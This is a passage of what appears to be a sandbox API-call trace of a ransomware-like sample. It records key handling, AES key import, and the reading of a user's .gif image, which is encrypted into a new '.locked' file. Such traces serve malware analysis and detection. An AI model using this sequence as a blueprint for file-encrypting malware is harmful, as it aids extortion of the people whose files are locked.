(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.549] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.549] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.549] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.549] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.549] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.549] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.549] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.549] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.550] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.550] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.550] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.550] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.550] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.550] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.550] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.550] SystemFunction041 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.550] SystemFunction040 (in: Memory=0x4383cc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383cc4) returned 0x0 [0135.551] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.551] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.551] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.552] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.552] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0135.553] CryptImportKey (in: hProv=0x8e02828, pbData=0x693f634, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e85138) returned 1 [0135.553] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.553] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.553] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.553] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.553] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.554] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0135.555] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0135.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.555] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.555] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.555] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.555] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.555] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.555] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.557] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif", lpFilePart=0x0) returned 0x6b [0135.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.557] GetFileType (hFile=0x858) returned 0x1 [0135.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.557] GetFileType (hFile=0x858) returned 0x1 [0135.557] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.557] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.557] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.557] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.558] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked", lpFilePart=0x0) returned 0x72 [0135.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.558] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.558] GetFileType (hFile=0x874) returned 0x1 [0135.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.559] GetFileType (hFile=0x874) returned 0x1 [0135.559] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.559] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x695f260 | out: pbBuffer=0x695f260) returned 1 [0135.559] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.559] CryptDuplicateKey (in: hKey=0x8e85138, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84fb8) returned 1 [0135.559] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.559] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x4, pbData=0x696051c*=0x1, dwFlags=0x0) returned 1 [0135.559] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x1, pbData=0x69604e8, dwFlags=0x0) returned 1 [0135.560] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xfea0\x437\x242") returned 0x0 [0135.560] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.560] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.560] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.560] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.560] ReadFile (in: hFile=0x858, lpBuffer=0x6963b40, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6963b40*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0135.561] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6977b4c*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x6977b4c*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0135.561] WriteFile (in: hFile=0x874, lpBuffer=0x695f320*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x695f320*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.562] WriteFile (in: hFile=0x874, lpBuffer=0x6978b38*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6978b38*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0135.562] ReadFile (in: hFile=0x858, lpBuffer=0x6963b40, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6963b40*, lpNumberOfBytesRead=0x99ae7a8*=0x1677, lpOverlapped=0x0) returned 1 [0135.563] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x698bb70*, pdwDataLen=0x99ae79c*=0x1670, dwBufLen=0x1670 | out: pbData=0x698bb70*, pdwDataLen=0x99ae79c*=0x1670) returned 1 [0135.563] WriteFile (in: hFile=0x874, lpBuffer=0x698bb70*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x698bb70*, lpNumberOfBytesWritten=0x99ae780*=0x1670, 